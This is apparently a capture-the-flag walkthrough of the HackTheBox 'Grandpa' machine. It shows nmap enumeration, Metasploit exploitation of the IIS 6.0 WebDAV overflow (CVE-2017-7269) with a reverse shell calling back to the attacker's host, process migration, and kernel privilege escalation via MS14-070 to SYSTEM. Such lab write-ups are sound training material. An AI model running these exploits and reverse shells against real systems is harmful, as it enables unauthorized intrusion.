Grandpa is an easy HackTheBox machine that is running a vulnerable Microsoft IIS 6.0 server. Initial access includes exploiting WebDAV Buffer Overflow(CVE-2017-7269), and privilege escalation includes exploiting a kernel vulnerability(MS14-070).
Educational Disclaimer: This walkthrough is for educational purposes only and was performed in an authorized Hack The Box lab environment. Do not attempt these techniques on systems without explicit permission.
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O grandpa.htb -oN nmap_scan to scan the open ports and services.
nmap -sC -sV -O grandpa.htb -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-28 07:17 -0400 Nmap scan report for grandpa.htb (10.129.95.233) Host is up (0.51s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 |_http-server-header: Microsoft-IIS/6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH | http-webdav-scan: | WebDAV type: Unknown | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK | Server Date: Fri, 28 Aug 2026 11:25:19 GMT | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH |_ Server Type: Microsoft-IIS/6.0 |_http-title: Under Construction Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2003|2008|XP (90%) OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_xp::sp3 Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (90%), Microsoft Windows Server 2003 SP2 (89%), Microsoft Windows Server 2008 Enterprise SP2 (88%), Microsoft Windows XP SP3 (88%), Microsoft Windows 2003 SP2 (87%), Microsoft Windows XP (85%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 61.64 seconds
Scan revealed that only port 80 is open and running Microsoft IIS 6.0 server, and the host OS is Windows Server 2003.
2. Initial Access - WebDAV Buffer Overflow (CVE-2017-7269)
Port 80 was running a Microsoft IIS 6.0 server, and the host OS is Windows Server 2003. Since I completed HackTheBox Granny Machine earlier, I remembered this machine should be vulnerable to Microsoft IIS - WebDav 'ScStoragePathFromUrl' Remote Overflow exploit.
This vulnerability already has a known exploit in Metasploit.
msfconsole -q
msf > search 2017-7269 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl
I was able to get an initial foothold as nt authority\network service by running the exploit using Metasploit.
# Initial foothold
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run [*] Started reverse TCP handler on 10.10.16.36:4444 [*] Trying path length 3 to 60 ... [*] Sending stage (199238 bytes) to 10.129.95.233 [*] Meterpreter session 1 opened (10.10.16.36:4444 -> 10.129.95.233:1030) at 2026-08-28 07:26:44 -0400 meterpreter > shell [-] Failed to spawn shell with thread impersonation. Retrying without it. Process 3024 created. Channel 2 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\windows\system32\inetsrv>whoami whoami nt authority\network service c:\windows\system32\inetsrv>
3. Privilege Escalation - Kernel Exploitation (MS14-070)
I discovered nt authority\network service has SeImpersonatePrivilege privilege enabled. This gives the potential to escalate privileges using token impersonation.
c:\windows\system32\inetsrv>whoami /all
whoami /all USER INFORMATION ---------------- User Name SID ============================ ======== nt authority\network service S-1-5-20 GROUP INFORMATION ----------------- Group Name Type SID Attributes ================================ ================ ============================================== ================================================== NT AUTHORITY\NETWORK SERVICE User S-1-5-20 Mandatory group, Enabled by default, Enabled group Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group GRANPA\IIS_WPG Alias S-1-5-21-1709780765-3897210020-3926566182-1005 Mandatory group, Enabled by default, Enabled group BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAuditPrivilege Generate security audits Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled c:\windows\system32\inetsrv>
I decided to use Metasploit's local_exploit_suggester to search for privilege escalation options. But before that, I need to find a stable process to migrate to because the current process, rundll32.exe, is not stable enough.
# migrating to a stable process
meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 272 4 smss.exe 292 1096 cidaemon.exe 304 1096 cidaemon.exe 320 272 csrss.exe 344 272 winlogon.exe 392 344 services.exe 404 344 lsass.exe 604 392 svchost.exe 668 392 svchost.exe 732 392 svchost.exe 780 392 svchost.exe 796 392 svchost.exe 988 392 spoolsv.exe 1016 392 msdtc.exe 1096 392 cisvc.exe 1144 392 svchost.exe 1192 392 inetinfo.exe 1228 392 svchost.exe 1332 392 VGAuthService.exe 1404 392 vmtoolsd.exe 1516 392 svchost.exe 1612 392 svchost.exe 1804 392 dllhost.exe 1884 392 alg.exe 1896 604 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe 2176 1516 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe 2452 604 wmiprvse.exe 2864 344 logon.scr 2976 2176 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe 3748 604 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe 4092 1096 cidaemon.exe meterpreter > migrate 3748 [*] Migrating from 2976 to 3748... [*] Migration completed successfully.
After the migration, I ran the multi/recon/local_exploit_suggester and it successfully flagged a list of possible exploits for the vulnerabilities found.
# searching for vulnerabilities
meterpreter > bg [*] Backgrounding session 2... msf > search local_exploit Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
# local_exploit_suggester flagged multiple possible exploits
msf post(multi/recon/local_exploit_suggester) > set SESSION 2 SESSION => 2 msf post(multi/recon/local_exploit_suggester) > run [*] 10.129.4.250 - Collecting local exploits for x86/windows... [*] 10.129.4.250 - 255 exploit checks are being tried... [+] 10.129.4.250 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. Version Windows Server 2003 detected but not confirmed vulnerable [+] 10.129.4.250 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.4.250 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.4.250 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.4.250 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. 32-bit target detected [+] 10.129.4.250 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.4.250 - exploit/windows/persistence/bits: The target is vulnerable. Likely exploitable [+] 10.129.4.250 - exploit/windows/persistence/registry_userinit: The target is vulnerable. Registry likely exploitable [*] Running check method for exploit 62 / 62 [*] 10.129.4.250 - Valid modules for session 2: ============================ # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated. Version Windows Server 2003 detected but not confirmed vulnerable 2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 5 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated. 32-bit target detected 6 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 7 exploit/windows/persistence/bits Yes The target is vulnerable. Likely exploitable 8 exploit/windows/persistence/registry_userinit Yes The target is vulnerable. Registry likely exploitable
I decided to use the "exploit/windows/local/ms14_058_track_popup_menu" exploit first, but it was not successful.
msf exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 10.10.16.36:4446 [*] Reflectively injecting the exploit DLL and triggering the exploit... [*] Launching msiexec to host the DLL... [+] Process 3080 launched. [*] Reflectively injecting the DLL into 3080... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Exploit completed, but no session was created. msf exploit(windows/local/ms14_058_track_popup_menu) >
Then I pivoted to the exploit/windows/local/ms14_070_tcpip_ioctl exploit. This exploit was able to escalate privileges and create a privileged shell as nt authority\system.
Now that I have system-level access to the target machine, I was able to retrieve both user and root flags without any permission issues.
# Flag retrieval
C:\WINDOWS\system32>cd "C:\Documents and Settings" cd "C:\Documents and Settings" C:\Documents and Settings>dir dir Volume in drive C has no label. Volume Serial Number is FDCB-B9EF Directory of C:\Documents and Settings 04/12/2017 05:32 PM
Congrats! We found both flags!
Related Machines :- Hack The Box: Granny Walkthrough
HTB Machine Completion
